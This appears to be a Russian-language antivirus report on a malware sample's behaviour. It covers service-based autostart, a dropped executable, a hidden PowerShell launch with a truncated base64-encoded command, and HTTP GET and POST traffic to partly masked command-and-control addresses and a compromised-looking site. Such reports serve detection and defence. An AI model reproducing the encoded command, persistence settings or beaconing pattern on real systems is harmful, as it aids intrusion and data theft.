Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\ftp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ftp] 'ImagePath' = '"<SYSTEM32>\wmp\ftp.exe"'
Создает следующие сервисы
- 'ftp' "<SYSTEM32>\wmp\ftp.exe"
- 'ftp' <SYSTEM32>\wmp\ftp.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAGgAdgBtAHUANABlAD0AKAAnAFAANgAnACsAKAAnAG8AJwArACcAMgBnACcAKQArACcAaQBiACcAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgBWADoAVABFAE0AUABcAHcATwByAGQAXAAyADAAMQA5AFwAIAAtAG...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\word\2019\rw_7zm_lh.exe
Перемещает следующие файлы
- %TEMP%\word\2019\rw_7zm_lh.exe в <SYSTEM32>\wmp\ftp.exe
Сетевая активность
Подключается к
- '71.##7.211.156':80
- '87.##8.70.45':8080
- '91.##1.54.71':8080
- '11#.#25.120.88':443
- '21#.#0.96.117':80
- '18#.#.217.94':80
- '17#.#00.27.229':80
- '46.##.111.142':7080
TCP
Запросы HTTP GET
- http://bo####ayunes.com/wp-includes/6qX/
Запросы HTTP POST
- http://91.###.54.71:8080/3bVgEbTbRp/094mc5Jlj0/X7IHQaupw5RAqNP/ziZ1YYnboi6EpROMTy/Il4GbDHLQko0cpinj/ via 91.##1.54.71
- http://46.##.111.142:7080/r9Zz2Ljc9Vwd00i/KhxElZuX/arNk/p2Q4mAYjsvZbrSy/uGrkopgkSp/MXGa/ via 46.##.111.142
UDP
- DNS ASK bo####ayunes.com
Другое
Создает и запускает на исполнение
- '%TEMP%\word\2019\rw_7zm_lh.exe'
- '<SYSTEM32>\wmp\ftp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAGgAdgBtAHUANABlAD0AKAAnAFAANgAnACsAKAAnAG8AJwArACcAMgBnACcAKQArACcAaQBiACcAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgBWADoAVABFAE0AUABcAHcATwByAGQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)
